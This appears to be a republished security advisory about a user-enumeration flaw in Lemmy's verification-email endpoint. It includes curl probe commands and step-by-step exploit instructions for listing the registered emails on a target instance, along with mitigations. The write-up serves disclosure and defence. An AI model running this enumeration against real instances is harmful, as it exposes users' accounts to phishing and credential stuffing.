Lemmy, User Enumeration via Information Disclosure, GHSA-qxrw-f6fh-34r7 (Moderate)

Listen to this Post

The `resend_verification_email` endpoint in Lemmy versions up to 0.19.1-rc.1 does not properly mask whether an email address is registered. When a request is sent to /api/v4/account/auth/resend_verification_email, the function calls `LocalUserView::find_by_email()` to look up the provided email. If found, it proceeds and returns a success response (HTTP 200 with {"success":true}). If not found, it returns a `404` error with "not_found". This discrepancy allows an unauthenticated attacker to probe a candidate email list and deduce which emails correspond to existing accounts. The password reset endpoint already practices “safe error discarding” – it always returns success regardless of the email’s existence. The verification endpoint instead leaks the lookup result directly to the caller, creating a user enumeration channel. Because the endpoint only uses the general registration rate limit (not a dedicated anti‑enumeration throttle), the attack can be automated.
Platform: Lemmy
Version: ≤0.19.1-rc.1
Vulnerability: User Enumeration
Severity: Moderate
date: 2026-04-30

Prediction: Patch expected in v0.19.2 by 2026-05-15

What Undercode Say:

Probe a known (existing) email address
curl -X POST http://localhost:8536/api/v4/account/auth/resend_verification_email \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]"}'
Returns HTTP 200 {"success":true}
Probe a non‑existing address
curl -X POST http://localhost:8536/api/v4/account/auth/resend_verification_email \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]"}'
Returns HTTP 404 {"error":"not_found","cause":"Record not found"}

How Exploit:

  1. Choose a target Lemmy instance (e.g. `http://target.lemmy/api/v4`).
  2. Build or obtain a list of candidate email addresses.
  3. For each candidate, send a POST request to /account/auth/resend_verification_email.
  4. Record the HTTP status code and error message.
  5. Any address returning HTTP 200 and `{“success”:true}` reveals the presence of a registered account.

Protection from this CVE

  • Apply the official fix – use the password‑reset pattern: ignore all lookup errors and always return success for syntactically valid input.
  • If immediate patching is impossible, block the vulnerable endpoint at the reverse‑proxy level.
  • Implement endpoint‑specific rate limiting to slow enumeration attempts, and consider returning identical responses for valid and invalid emails.

Impact

An unauthenticated third party can systematically enumerate every registered email address on the instance. This enumeration can be performed at high speed because the endpoint shares only the registration rate limit, not a dedicated one. The discovered emails may be used in subsequent attacks such as credential stuffing, phishing, or account takeover.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top